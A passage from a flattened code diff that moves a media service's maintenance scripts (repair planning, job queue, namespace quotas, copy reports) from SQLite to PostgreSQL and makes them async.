Promise((r) => out.once('drain', r)); }++ await new Promise((r, j) => out.end((e) => (e ? j(e) : r())));++ return { size, sha256: hash.digest('hex') };++ }--/** ffprobe + a full decode. → { duration, streams, errorLines } | { error } */--async function probe(file) {-- const p = await run('ffprobe', ['-v', 'error', '-show_entries', 'format=duration:stream=codec_name', '-of', 'json', file], 120000);-- if (p.err) return { error: (p.stderr || p.err.message).split('\n')[0] };-- let j = {}; try { j = JSON.parse(p.stdout); } catch { return { error: 'ffprobe output unreadable' }; }-- const d = await run('ffmpeg', ['-nostdin', '-v', 'error', '-i', file, '-f', 'null', '-'], 60 * 60 * 1000);-- return { duration: Number(j.format && j.format.duration) || 0, streams: (j.streams || []).map((s) => s.codec_name).filter(Boolean), errorLines: d.stderr.split('\n').filter(Boolean) };--}++ /** ffprobe + a full decode. → { duration, streams, errorLines } | { error } */++ async function probe(file) {++ const p = await run('ffprobe', ['-v', 'error', '-show_entries', 'format=duration:stream=codec_name', '-of', 'json', file], 120000);++ if (p.err) return { error: (p.stderr || p.err.message).split('\n')[0] };++ let j = {}; try { j = JSON.parse(p.stdout); } catch { return { error: 'ffprobe output unreadable' }; }++ const d = await run('ffmpeg', ['-nostdin', '-v', 'error', '-i', file, '-f', 'null', '-'], 60 * 60 * 1000);++ return { duration: Number(j.format && j.format.duration) || 0, streams: (j.streams || []).map((s) => s.codec_name).filter(Boolean), errorLines: d.stderr.split('\n').filter(Boolean) };++ }--const sha256File = (file) => new Promise((resolve, reject) => {-- const h = crypto.createHash('sha256');-- fs.createReadStream(file).on('data', (c) => h.update(c)).on('end', () => resolve(h.digest('hex'))).on('error', reject);--});++ const sha256File = (file) => new Promise((resolve, reject) => {++ const h = crypto.createHash('sha256');++ fs.createReadStream(file).on('data', (c) => h.update(c)).on('end', () => resolve(h.digest('hex'))).on('error', reject);++ });--/** The frame at `offset` seconds of VOD `vodId`, extracted from its good copy into `file`. → { size, sha256 } */--async function extractFrame(vodId, offset, file) {-- const v = db.getDb().prepare('SELECT id, storage_provider, storage_key, file_path FROM vods WHERE id = ?').get(vodId);-- if (!v) throw new Error(`VOD ${vodId} does not exist`);-- let input = v.file_path && fs.existsSync(v.file_path) ? v.file_path : null;-- if (!input && v.storage_provider && v.storage_key) { const u = await vs.presignGet(v.storage_provider, v.storage_key, 3600); input = typeof u === 'string' ? u : u.url; }-- if (!input) throw new Error(`VOD ${vodId} has no readable copy`);-- const r = await run('ffmpeg', ['-nostdin', '-v', 'error', '-ss', String(offset), '-i', input, '-frames:v', '1', '-q:v', '3', '-y', file], 20 * 60 * 1000);-- if (r.err || !fs.existsSync(file) || !fs.statSync(file).size) throw new Error(`no frame at ${offset} s: ${(r.stderr || (r.err && r.err.message) || '').split('\n')[0]}`);-- return { size: fs.statSync(file).size, sha256: await sha256File(file) };--}++ /** The frame at `offset` seconds of VOD `vodId`, extracted from its good copy into `file`. → { size, sha256 } */++ async function extractFrame(vodId, offset, file) {++ const v = await db.getDb().prepare('SELECT id, storage_provider, storage_key, file_path FROM vods WHERE id = ?').get(vodId);++ if (!v) throw new Error(`VOD ${vodId} does not exist`);++ let input = v.file_path && fs.existsSync(v.file_path) ? v.file_path : null;++ if (!input && v.storage_provider && v.storage_key) { const u = await vs.presignGet(v.storage_provider, v.storage_key, 3600); input = typeof u === 'string' ? u : u.url; }++ if (!input) throw new Error(`VOD ${vodId} has no readable copy`);++ const r = await run('ffmpeg', ['-nostdin', '-v', 'error', '-ss', String(offset), '-i', input, '-frames:v', '1', '-q:v', '3', '-y', file], 20 * 60 * 1000);++ if (r.err || !fs.existsSync(file) || !fs.statSync(file).size) throw new Error(`no frame at ${offset} s: ${(r.stderr || (r.err && r.err.message) || '').split('\n')[0]}`);++ return { size: fs.statSync(file).size, sha256: await sha256File(file) };++ }--async function backupDatabase(dest) {-- await db.getDb().backup(dest);-- const Database = require('better-sqlite3');-- const copy = new Database(dest, { readonly: true });-- try { return { path: dest, bytes: fs.statSync(dest).size, integrity_check: copy.pragma('integrity_check', { simple: true }) }; } finally { copy.close(); }--}--async function main() {-- const h = db.getDb();-- if (ROLLBACK) {-- const file = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8'));-- const out = (file.changes || []).map((c) => (APPLY ? h15.rollback(h, c) : { ...c, would_restore: true }));-- for (const o of out) console.log(`${o.object_id} ${o.action}: ${o.restored ? 'restored' : o.skipped || (o.would_restore ? 'would restore' : '')}`);-- return 0;-- }-- const q = { all: (sql, p = []) => h.prepare(sql).all(...p), get: (sql, p = []) => h.prepare(sql).get(...p) };-- const report = copyReport.buildReport(q, {});-- const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'h15-repair-'));-- const steps = [];-- try {-- for (const item of report.objects) {-- const probes = {};-- const facts = {};-- for (const l of item.locations.filter((x) => (x.provider === 'b2' || x.provider === 'r2') && x.state === 'corrupt')) {-- try {-- const u = await vs.presignGet(l.provider, l.key, 3600);-- const file = path.join(tmp, `${item.object_id}.${l.provider}`);-- facts[l.provider] = await download(typeof u === 'string' ? u : u.url, file);-- probes[l.provider] = await probe(file);-- } catch (err) { probes[l.provider] = { error: err.message }; }-- }-- const step = h15.plan(item, probes, facts);-- if (step.action === 'rebaseline' || step.action === 'resize') Object.assign(step, { facts: facts[step.provider], probe: { duration: probes[step.provider].duration, streams: probes[step.provider].streams } });-- if (step.action === 'failed_recording') step.probe = probes[step.provider];-- if (step.action === 'regenerate') {-- const loc = item.locations.find((l) => l.provider === 'local');-- const file = path.join(tmp, `${item.object_id}.jpg`);-- try { step.facts = await extractFrame(step.source_vod, step.offset, file); step.file = file; step.target = loc && loc.key; }-- catch (err) { Object.assign(step, { action: 'lost', reason: `the frame could not be extracted again: ${err.message}` }); }-- }-- if (step.probe && step.probe.errorLines) step.probe = { ...step.probe, errorLines: step.probe.errorLines.length };-- steps.push(step);-- console.log(`${item.object_id} ${item.kind} ${item.legacy_ref || ''}: ${step.action} — ${step.reason}`);-- }-- const record = { generated_at: new Date().toISOString(), applied: false, objects: report.count, plan: steps.map(({ file, ...s }) => s) };-- if (!APPLY) {-- const out = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(path.resolve(config.db.path)), 'reports', `h15-repair-${record.generated_at.replace(/[:.]/g, '-')}.json`);-- fs.mkdirSync(path.dirname(out), { recursive: true });-- fs.writeFileSync(out, JSON.stringify(record, null, 2));-- console.log(`\nDry run: nothing changed. Plan written to ${out}`);++ async function main() {++ const h = db.getDb();++ if (ROLLBACK) {++ const file = JSON.parse(fs.readFileSync(ROLLBACK, 'utf8'));++ const out = (await Promise.all((file.changes || []).map(async (c) => (APPLY ? await h15.rollback(h, c) : { ...c, would_restore: true }))));++ for (const o of out) console.log(`${o.object_id} ${o.action}: ${o.restored ? 'restored' : o.skipped || (o.would_restore ? 'would restore' : '')}`);return 0;}-- const copyPath = BACKUP.replace(/\.json$/, '') + '.media.db';-- for (const f of [BACKUP, copyPath]) if (fs.existsSync(f)) usage(`${f} already exists; pick a new --backup name`);-- const dbCopy = await backupDatabase(copyPath);-- if (dbCopy.integrity_check !== 'ok') { console.error(`backup failed integrity_check: ${dbCopy.integrity_check}; nothing changed`); return 1; }-- const changes = [];-- for (const step of steps) {-- if (step.action === 'lost') continue;-- if (step.action === 'regenerate') {-- if (!step.target) { changes.push({ ...step, skipped: 'no local location to write to' }); continue; }-- fs.mkdirSync(path.dirname(step.target), { recursive: true });-- if (!fs.existsSync(step.target)) fs.copyFileSync(step.file, step.target);++ const q = { all: async (sql, p = []) => await h.prepare(sql).all(...p), get: async (sql, p = []) => await h.prepare(sql).get(...p) };++ const report = await copyReport.buildReport(q, {});++ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'h15-repair-'));++ const steps = [];++ try {++ for (const item of report.objects) {++ const probes = {};++ const facts = {};++ for (const l of item.locations.filter((x) => (x.provider === 'b2' || x.provider === 'r2') && x.state === 'corrupt')) {++ try {++ const u = await vs.presignGet(l.provider, l.key, 3600);++ const file = path.join(tmp, `${item.object_id}.${l.provider}`);++ facts[l.provider] = await download(typeof u === 'string' ? u : u.url, file);++ probes[l.provider] = await probe(file);++ } catch (err) { probes[l.provider] = { error: err.message }; }++ }++ const step = h15.plan(item, probes, facts);++ if (step.action === 'rebaseline' || step.action === 'resize') Object.assign(step, { facts: facts[step.provider], probe: { duration: probes[step.provider].duration, streams: probes[step.provider].streams } });++ if (step.action === 'failed_recording') step.probe = probes[step.provider];++ if (step.action === 'regenerate') {++ const loc = item.locations.find((l) => l.provider === 'local');++ const file = path.join(tmp, `${item.object_id}.jpg`);++ try { step.facts = await extractFrame(step.source_vod, step.offset, file); step.file = file; step.target = loc && loc.key; }++ catch (err) { Object.assign(step, { action: 'lost', reason: `the frame could not be extracted again: ${err.message}` }); }++ }++ if (step.probe && step.probe.errorLines) step.probe = { ...step.probe, errorLines: step.probe.errorLines.length };++ steps.push(step);++ console.log(`${item.object_id} ${item.kind} ${item.legacy_ref || ''}: ${step.action} — ${step.reason}`);++ }++ const record = { generated_at: new Date().toISOString(), applied: false, objects: report.count, plan: steps.map(({ file, ...s }) => s) };++ if (!APPLY) {++ const out = arg('out') ? path.resolve(arg('out')) : path.join(path.dirname(path.resolve(config.db.path)), 'reports', `h15-repair-${record.generated_at.replace(/[:.]/g, '-')}.json`);++ fs.mkdirSync(path.dirname(out), { recursive: true });++ fs.writeFileSync(out, JSON.stringify(record, null, 2));++ console.log(`\nDry run: nothing changed. Plan written to ${out}`);++ return 0;}-- const { file, ...s } = step;-- changes.push(h15.apply(h, s, step.facts));++ // The database's own safety net is PostgreSQL's point-in-time recovery (pgBackRest); <file.json> is this run's undo.++ if (fs.existsSync(BACKUP)) usage(`${BACKUP} already exists; pick a new --backup name`);++ const dbCopy = null;++ const changes = [];++ for (const step of steps) {++ if (step.action === 'lost') continue;++ if (step.action === 'regenerate') {++ if (!step.target) { changes.push({ ...step, skipped: 'no local location to write to' }); continue; }++ fs.mkdirSync(path.dirname(step.target), { recursive: true });++ if (!fs.existsSync(step.target)) fs.copyFileSync(step.file, step.target);++ }++ const { file, ...s } = step;++ changes.push(await h15.apply(h, s, step.facts));++ }++ Object.assign(record, { applied: true, backup: dbCopy, changes });++ fs.writeFileSync(BACKUP, JSON.stringify(record, null, 2));++ for (const c of changes) console.log(`${c.object_id} ${c.action}: ${c.skipped ? `skipped (${c.skipped})` : 'applied'}`);++ console.log(`\nApplied. Rollback file: ${BACKUP}; database copy: ${copyPath}`);++ return 0;++ } finally {++ fs.rmSync(tmp, { recursive: true, force: true });}-- Object.assign(record, { applied: true, backup: dbCopy, changes });-- fs.writeFileSync(BACKUP, JSON.stringify(record, null, 2));-- for (const c of changes) console.log(`${c.object_id} ${c.action}: ${c.skipped ? `skipped (${c.skipped})` : 'applied'}`);-- console.log(`\nApplied. Rollback file: ${BACKUP}; database copy: ${copyPath}`);-- return 0;-- } finally {-- fs.rmSync(tmp, { recursive: true, force: true });}--}--main().then((code) => process.exit(code), (err) => { console.error(`h15-repair: ${err.message}`); process.exit(1); });++ main().then((code) => process.exit(code), (err) => { console.error(`h15-repair: ${err.message}`); process.exit(1); });++})().catch((err) => { console.error(err); process.exit(1); });@@@ -12,74 +12,76 @@* the size-invariant validator; a dry run unless --apply (which records violations and proposals)* node scripts/media-jobs.js approve <job id>... [--by <who>] proposed -> queued* node scripts/media-jobs.js cancel <job id>... [--by <who>] [--reason <text>]-- * (every command takes --db ./data/media.db)++ * (the database is the service's: DATABASE_URL, from its env file)** Nothing here runs a job. Exit 0 on success, 1 when a named job could not be decided, 2 on usage errors.*/const path = require('path');--const args = process.argv.slice(2);--const has = (n) => args.includes(`--${n}`);--const arg = (n, d) => { const i = args.indexOf(`--${n}`); return i >= 0 ? args[i + 1] : d; };--const VALUE_FLAGS = ['status', 'type', 'app', 'limit', 'by', 'reason', 'db'];--const positional = args.filter((a, i) => !a.startsWith('--') && !(i > 0 && VALUE_FLAGS.includes(String(args[i - 1]).replace(/^--/, ''))));--if (arg('db')) process.env.DB_PATH = path.resolve(arg('db'));++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ const args = process.argv.slice(2);++ const has = (n) => args.includes(`--${n}`);++ const arg = (n, d) => { const i = args.indexOf(`--${n}`); return i >= 0 ? args[i + 1] : d; };++ const VALUE_FLAGS = ['status', 'type', 'app', 'limit', 'by', 'reason', 'db'];++ const positional = args.filter((a, i) => !a.startsWith('--') && !(i > 0 && VALUE_FLAGS.includes(String(args[i - 1]).replace(/^--/, ''))));--const db = require('../server/db/database');--const events = require('../server/events');--const queue = require('../server/jobs/queue');--const scan = require('../server/jobs/invariant-scan');++ const db = require('../server/db/database');++ const events = require('../server/events');++ const queue = require('../server/jobs/queue');++ const scan = require('../server/jobs/invariant-scan');--function usage(msg) {-- if (msg) console.error(msg);-- console.error('usage: media-jobs.js list|show|scan|approve|cancel … (see the header of this file)');-- process.exit(2);--}++ function usage(msg) {++ if (msg) console.error(msg);++ console.error('usage: media-jobs.js list|show|scan|approve|cancel … (see the header of this file)');++ process.exit(2);++ }--function line(j) {-- const size = j.params && j.params.source_size_bytes ? ` ${(j.params.source_size_bytes / 1048576).toFixed(0)} MB` : '';-- return `${j.id} ${j.status.padEnd(9)} ${j.type.padEnd(20)} ${j.app_id.padEnd(8)} ${j.object_id || '-'}${size}${j.error ? ` (${j.error})` : ''}`;--}++ function line(j) {++ const size = j.params && j.params.source_size_bytes ? ` ${(j.params.source_size_bytes / 1048576).toFixed(0)} MB` : '';++ return `${j.id} ${j.status.padEnd(9)} ${j.type.padEnd(20)} ${j.app_id.padEnd(8)} ${j.object_id || '-'}${size}${j.error ? ` (${j.error})` : ''}`;++ }--(async () => {-- const [cmd, ...ids] = positional;-- const by = arg('by', `operator:${require('os').userInfo().username}`);-- events.initWriter();-- let exit = 0;-- if (cmd === 'list') {-- const apps = arg('app') ? [arg('app')] : db.all('SELECT DISTINCT app_id FROM media_jobs ORDER BY app_id').map(r => r.app_id);-- const out = [];-- for (const a of apps) out.push(...queue.list(a, { status: arg('status'), type: arg('type'), limit: arg('limit', 50) }).jobs.map(queue.jobPublic));-- console.log(has('json') ? JSON.stringify({ jobs: out, counts: queue.counts() }, null, 2) : [...out.map(line), `counts: ${JSON.stringify(queue.counts())}`].join('\n'));-- } else if (cmd === 'show') {-- const j = queue.jobPublic(queue.get(ids[0]));-- if (!j) usage(`no job ${ids[0]}`);-- console.log(JSON.stringify(j, null, 2));-- } else if (cmd === 'scan') {-- const apps = arg('app') ? [arg('app')] : db.all("SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') ORDER BY app_id").map(r => r.app_id);-- const reports = {};-- for (const a of apps) reports[a] = scan.scanTenant(a, { dryRun: !has('apply') });-- if (has('json')) console.log(JSON.stringify(reports, null, 2));-- else {-- for (const [a, r] of Object.entries(reports)) {-- console.log(`${a}: ${r.violations} public object(s) over ${(r.thresholds.maxBytes / 1048576).toFixed(0)} MB; ${r.dry_run ? 'would propose' : 'proposed'} ${r.proposed}, already proposed ${r.already_proposed}, ${r.dry_run ? 'would withdraw' : 'withdrawn'} ${r.withdrawn} ${JSON.stringify(r.by_type)}`);++ (async () => {++ const [cmd, ...ids] = positional;++ const by = arg('by', `operator:${require('os').userInfo().username}`);++ await events.initWriter();++ let exit = 0;++ if (cmd === 'list') {++ const apps = arg('app') ? [arg('app')] : (await db.all('SELECT DISTINCT app_id FROM media_jobs ORDER BY app_id')).map(r => r.app_id);++ const out = [];++ for (const a of apps) out.push(...(await queue.list(a, { status: arg('status'), type: arg('type'), limit: arg('limit', 50) })).jobs.map(queue.jobPublic));++ console.log(has('json') ? JSON.stringify({ jobs: out, counts: await queue.counts() }, null, 2) : [...out.map(line), `counts: ${JSON.stringify(await queue.counts())}`].join('\n'));++ } else if (cmd === 'show') {++ const j = queue.jobPublic(await queue.get(ids[0]));++ if (!j) usage(`no job ${ids[0]}`);++ console.log(JSON.stringify(j, null, 2));++ } else if (cmd === 'scan') {++ const apps = arg('app') ? [arg('app')] : (await db.all("SELECT DISTINCT app_id FROM media_objects WHERE kind IN ('vod', 'clip') ORDER BY app_id")).map(r => r.app_id);++ const reports = {};++ for (const a of apps) reports[a] = await scan.scanTenant(a, { dryRun: !has('apply') });++ if (has('json')) console.log(JSON.stringify(reports, null, 2));++ else {++ for (const [a, r] of Object.entries(reports)) {++ console.log(`${a}: ${r.violations} public object(s) over ${(r.thresholds.maxBytes / 1048576).toFixed(0)} MB; ${r.dry_run ? 'would propose' : 'proposed'} ${r.proposed}, already proposed ${r.already_proposed}, ${r.dry_run ? 'would withdraw' : 'withdrawn'} ${r.withdrawn} ${JSON.stringify(r.by_type)}`);++ }++ if (!has('apply')) console.log('(dry run: nothing recorded; --apply records the violations and the proposals)');}-- if (!has('apply')) console.log('(dry run: nothing recorded; --apply records the violations and the proposals)');-- }-- } else if (cmd === 'approve' || cmd === 'cancel') {-- if (!ids.length) usage(`${cmd}: name at least one job`);-- for (const id of ids) {-- const j = queue.get(id);-- if (!j) { console.error(`${id}: no such job`); exit = 1; continue; }-- if (cmd === 'approve') {-- const out = queue.approve(id, { by });-- if (out) console.log(`${id}: queued`); else { console.error(`${id}: is ${j.status}, not a proposal`); exit = 1; }-- } else {-- const out = queue.cancel(id, { by, reason: arg('reason', null) });-- if (out.finished) { console.error(`${id}: already ${out.job.status}`); exit = 1; } else console.log(`${id}: ${out.pending ? 'cancel requested (running)' : 'cancelled'}`);++ } else if (cmd === 'approve' || cmd === 'cancel') {++ if (!ids.length) usage(`${cmd}: name at least one job`);++ for (const id of ids) {++ const j = await queue.get(id);++ if (!j) { console.error(`${id}: no such job`); exit = 1; continue; }++ if (cmd === 'approve') {++ const out = await queue.approve(id, { by });++ if (out) console.log(`${id}: queued`); else { console.error(`${id}: is ${j.status}, not a proposal`); exit = 1; }++ } else {++ const out = await queue.cancel(id, { by, reason: arg('reason', null) });++ if (out.finished) { console.error(`${id}: already ${out.job.status}`); exit = 1; } else console.log(`${id}: ${out.pending ? 'cancel requested (running)' : 'cancelled'}`);++ }}-- }-- } else usage(cmd ? `unknown command ${cmd}` : null);-- db.close();-- process.exit(exit);++ } else usage(cmd ? `unknown command ${cmd}` : null);++ await db.close();++ process.exit(exit);++ })().catch((err) => { console.error(err); process.exit(1); });})().catch((err) => { console.error(err); process.exit(1); });nnew file mode 100755@@@ -0,0 +1,25 @@++#!/usr/bin/env node++'use strict';++/**++ * The one-time move of Media's SQLite database (DB_PATH) into its PostgreSQL schema (ADR-035; the procedure is++ * openvibe-sdk docs/migrating-to-postgresql.md, section 6, carried out by openvibe-sdk/db runSqliteMigration).++ *++ * node scripts/migrate-to-postgres.js [--sqlite <file>] [--pglite] [--json]++ *++ * Applies migrations/ as the owner (DATABASE_DIRECT_URL), copies every table into emptied tables, verifies row counts++ * and checksums, and exits 1 unless everything verified. The SQLite file is opened read-only. Every table keeps its++ * name and columns.++ */++require('dotenv').config();++const { runSqliteMigration } = require('openvibe-sdk/db');++const config = require('../server/config');++const { MIGRATIONS } = require('../server/db/database');++++const TABLES = {};++++if (require.main === module) {++ runSqliteMigration({ service: 'media', sqlite: config.db.path, directUrl: config.db.directUrl, migrations: MIGRATIONS, tables: TABLES })++ .then((code) => process.exit(code), (err) => { console.error(`migrate-to-postgres failed: ${err.message}`); process.exit(1); });++}++++module.exports = { TABLES };@@@ -98,7 +98,20 @@ const OUT = path.join(ROOT, 'test', 'fixtures', 'n-1');await server.close();server = null;-- // 3. The schema N-1 left, and the SQL it runs on it.++ // 3. The schema N-1 left, and the SQL it runs on it. A release on PostgreSQL (ADR-035) records its migration files++ // instead: N must keep every one of them unchanged and only add (the database's own ledger refuses an edit).++ const head = { service: svc.service, release: wt.sha, recorded_at: new Date().toISOString(), note: 'N-1 fixture: written by `npm run n-1:record`, replayed by test/n-1.test.js' };++ const clients = svc.clientReleases ? svc.clientReleases() : null;++ const migDir = path.join(wt.dir, 'migrations');++ if (fs.existsSync(migDir)) {++ const migrations = fs.readdirSync(migDir).filter((f) => f.endsWith('.sql')).sort()++ .map((name) => ({ name, sha256: require('crypto').createHash('sha256').update(fs.readFileSync(path.join(migDir, name))).digest('hex') }));++ fs.mkdirSync(OUT, { recursive: true });++ fs.writeFileSync(path.join(OUT, 'client.json'), `${JSON.stringify({ ...head, ...(clients ? { clients } : {}), manifest, dynamic_calls: dynamic, calls: recorded, ...(ws ? { ws } : {}) }, null, 1)}\n`);++ fs.writeFileSync(path.join(OUT, 'worker.json'), `${JSON.stringify({ ...head, engine: 'postgresql', migrations, statements: [] }, null, 1)}\n`);++ console.log(` postgresql: ${migrations.length} migration file(s); wrote ${path.relative(ROOT, OUT)}/client.json and worker.json`);++ return;++ }const db = new Database(dbPath);const schema = h.schemaDDL(db);const ledger = {};@@@ -117,8 +130,6 @@ const OUT = path.join(ROOT, 'test', 'fixtures', 'n-1');console.log(` sql: ${statements.length} statements (${ran.length} ran, ${failing.size} candidates that do not prepare on N-1's own schema left out), ${schema.length} schema objects, ${lazy.length} created on first use`);fs.mkdirSync(OUT, { recursive: true });-- const head = { service: svc.service, release: wt.sha, recorded_at: new Date().toISOString(), note: 'N-1 fixture: written by `npm run n-1:record`, replayed by test/n-1.test.js' };-- const clients = svc.clientReleases ? svc.clientReleases() : null;fs.writeFileSync(path.join(OUT, 'client.json'), `${JSON.stringify({ ...head, ...(clients ? { clients } : {}), manifest, dynamic_calls: dynamic, calls: recorded, ...(ws ? { ws } : {}) }, null, 1)}\n`);fs.writeFileSync(path.join(OUT, 'worker.json'), `${JSON.stringify({ ...head, user_version: userVersion, schema, ledger, lazy, statements }, null, 1)}\n`);console.log(` wrote ${path.relative(ROOT, OUT)}/client.json and worker.json`);@@@ -13,65 +13,68 @@* namespace's own policy (kinds, visibilities, max_object_bytes, strict_verbs; children inherit it,* key by key). Listing refreshes the usage snapshot; nothing else is written without --set.*/--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] != null && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 && args[i + 1] != null && !args[i + 1].startsWith('--') ? args[i + 1] : dflt; };--function fail(msg) { console.error(`namespaces: ${msg}`); process.exit(1); }--const human = (b) => (b == null ? '-' : b >= 1024 ** 3 ? `${(b / 1024 ** 3).toFixed(2)} GB` : b >= 1024 ** 2 ? `${(b / 1024 ** 2).toFixed(1)} MB` : `${b} B`);++ function fail(msg) { console.error(`namespaces: ${msg}`); process.exit(1); }++ const human = (b) => (b == null ? '-' : b >= 1024 ** 3 ? `${(b / 1024 ** 3).toFixed(2)} GB` : b >= 1024 ** 2 ? `${(b / 1024 ** 2).toFixed(1)} MB` : `${b} B`);--try {-- const db = require('../server/db/database');-- const namespaces = require('../server/objects/namespaces');++ try {++ const db = require('../server/db/database');++ const namespaces = require('../server/objects/namespaces');-- if (arg('set')) {-- const row = namespaces.get(arg('set'));-- if (!row) fail(`no namespace ${arg('set')}`);-- const sets = {};-- if (arg('quota-bytes') != null) {-- const v = arg('quota-bytes');-- if (v === 'inherit') sets.quota_bytes = null;-- else if (/^\d+$/.test(v)) sets.quota_bytes = Number(v);-- else fail('--quota-bytes takes a whole number of bytes or `inherit`');++ if (arg('set')) {++ const row = await namespaces.get(arg('set'));++ if (!row) fail(`no namespace ${arg('set')}`);++ const sets = {};++ if (arg('quota-bytes') != null) {++ const v = arg('quota-bytes');++ if (v === 'inherit') sets.quota_bytes = null;++ else if (/^\d+$/.test(v)) sets.quota_bytes = Number(v);++ else fail('--quota-bytes takes a whole number of bytes or `inherit`');++ }++ if (arg('quota-objects') != null) {++ const v = arg('quota-objects');++ if (v === 'none') sets.quota_objects = null;++ else if (/^\d+$/.test(v)) sets.quota_objects = Number(v) || null;++ else fail('--quota-objects takes a whole number or `none`');++ }++ if (arg('policy') != null) {++ let p;++ try { p = JSON.parse(arg('policy')); } catch { fail('--policy must be JSON'); }++ const v = namespaces.validatePolicy(p);++ if (v.error) fail(v.error);++ sets.policy = JSON.stringify(v.policy);++ }++ if (!Object.keys(sets).length) fail('--set needs --quota-bytes, --quota-objects or --policy');++ console.log(`${row.namespace}: ${Object.entries(sets).map(([k, v]) => `${k} ${row[k] ?? 'NULL'} -> ${v ?? 'NULL'}`).join(', ')}${has('dry-run') ? ' (dry run)' : ''}`);++ if (!has('dry-run')) {++ await db.run(`UPDATE media_namespaces SET ${Object.keys(sets).map(k => `${k} = ?`).join(', ')}, updated_at = ov_now() WHERE namespace = ?`, [...Object.values(sets), row.namespace]);++ }++ process.exit(0);}-- if (arg('quota-objects') != null) {-- const v = arg('quota-objects');-- if (v === 'none') sets.quota_objects = null;-- else if (/^\d+$/.test(v)) sets.quota_objects = Number(v) || null;-- else fail('--quota-objects takes a whole number or `none`');-- }-- if (arg('policy') != null) {-- let p;-- try { p = JSON.parse(arg('policy')); } catch { fail('--policy must be JSON'); }-- const v = namespaces.validatePolicy(p);-- if (v.error) fail(v.error);-- sets.policy = JSON.stringify(v.policy);-- }-- if (!Object.keys(sets).length) fail('--set needs --quota-bytes, --quota-objects or --policy');-- console.log(`${row.namespace}: ${Object.entries(sets).map(([k, v]) => `${k} ${row[k] ?? 'NULL'} -> ${v ?? 'NULL'}`).join(', ')}${has('dry-run') ? ' (dry run)' : ''}`);-- if (!has('dry-run')) {-- db.run(`UPDATE media_namespaces SET ${Object.keys(sets).map(k => `${k} = ?`).join(', ')}, updated_at = CURRENT_TIMESTAMP WHERE namespace = ?`, [...Object.values(sets), row.namespace]);-- }-- process.exit(0);-- }-- const rows = arg('app') ? namespaces.listForTenant(arg('app')) : db.all('SELECT * FROM media_namespaces ORDER BY app_id, namespace');-- const apps = new Map();-- const out = rows.map((row) => {-- if (!apps.has(row.app_id)) apps.set(row.app_id, db.getApp(row.app_id) || { app_id: row.app_id });-- const app = apps.get(row.app_id);-- return { app_id: row.app_id, ...namespaces.publicShape(app, row, namespaces.reconcile(app, row.namespace)) };-- });-- if (has('json')) { console.log(JSON.stringify({ namespaces: out }, null, 2)); process.exit(0); }-- for (const n of out) {-- const u = n.usage;-- console.log(`${n.namespace} [${n.app_id}${n.root ? ', root' : ''}] ${n.owner}`-- + ` used ${human(u.used_bytes)} / ${n.quota.bytes ? human(n.quota.bytes) : 'no limit'}${n.quota.bytes_from === 'tenant' ? ' (tenant)' : ''}`-- + `, ${u.used_objects} object(s)${n.quota.objects ? ` / ${n.quota.objects}` : ''}`-- + (u.reserved_objects ? `, ${u.reserved_objects} upload(s) reserving ${human(u.reserved_bytes)}` : '')-- + (Object.keys(n.policy).length ? ` policy ${JSON.stringify(n.policy)}` : ''));++ const rows = arg('app') ? await namespaces.listForTenant(arg('app')) : await db.all('SELECT * FROM media_namespaces ORDER BY app_id, namespace');++ const apps = new Map();++ const out = (await Promise.all(rows.map(async (row) => {++ if (!apps.has(row.app_id)) apps.set(row.app_id, await db.getApp(row.app_id) || { app_id: row.app_id });++ const app = apps.get(row.app_id);++ return { app_id: row.app_id, ...await namespaces.publicShape(app, row, await namespaces.reconcile(app, row.namespace)) };++ })));++ if (has('json')) { console.log(JSON.stringify({ namespaces: out }, null, 2)); process.exit(0); }++ for (const n of out) {++ const u = n.usage;++ console.log(`${n.namespace} [${n.app_id}${n.root ? ', root' : ''}] ${n.owner}`++ + ` used ${human(u.used_bytes)} / ${n.quota.bytes ? human(n.quota.bytes) : 'no limit'}${n.quota.bytes_from === 'tenant' ? ' (tenant)' : ''}`++ + `, ${u.used_objects} object(s)${n.quota.objects ? ` / ${n.quota.objects}` : ''}`++ + (u.reserved_objects ? `, ${u.reserved_objects} upload(s) reserving ${human(u.reserved_bytes)}` : '')++ + (Object.keys(n.policy).length ? ` policy ${JSON.stringify(n.policy)}` : ''));++ }++ if (!out.length) console.log('no namespaces');++ } catch (err) {++ fail(err.message);}-- if (!out.length) console.log('no namespaces');--} catch (err) {-- fail(err.message);--}++})().catch((err) => { console.error(err); process.exit(1); });@@@ -6,32 +6,36 @@* can decide what to do with each one. READ-ONLY: the database is opened read-only and nothing is* deleted, moved or re-projected.*-- * node scripts/no-good-copy-report.js [--app live] [--json] [--out report.json] [--db ./data/media.db]++ * node scripts/no-good-copy-report.js [--app live] [--json] [--out report.json]** Exit code 0 when there are none, 1 when some were found, 2 on error.*/const fs = require('fs');const path = require('path');--const args = process.argv.slice(2);--const has = (name) => args.includes(`--${name}`);--const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };++(async () => {++ await require('../server/db/database').initDb(); // PostgreSQL (DATABASE_URL), as the service++ const args = process.argv.slice(2);++ const has = (name) => args.includes(`--${name}`);++ const arg = (name, dflt) => { const i = args.indexOf(`--${name}`); return i >= 0 ? args[i + 1] : dflt; };--try {-- const dbPath = arg('db') ? path.resolve(arg('db')) : require('../server/config').db.path;-- const Database = require('better-sqlite3');-- const h = new Database(dbPath, { readonly: true, fileMustExist: true });-- const q = {-- all: (sql, params = []) => h.prepare(sql).all(...params),-- get: (sql, params = []) => h.prepare(sql).get(...params),-- };-- const { buildReport, formatReport } = require('../server/objects/copy-report');-- const report = buildReport(q, { appId: arg('app', null) });-- h.close();-- if (arg('out')) fs.writeFileSync(arg('out'), JSON.stringify(report, null, 2));-- console.log(has('json') ? JSON.stringify(report, null, 2) : formatReport(report));-- process.exit(report.count ? 1 : 0);--} catch (err) {-- console.error(err.message);-- process.exit(2);--}++ 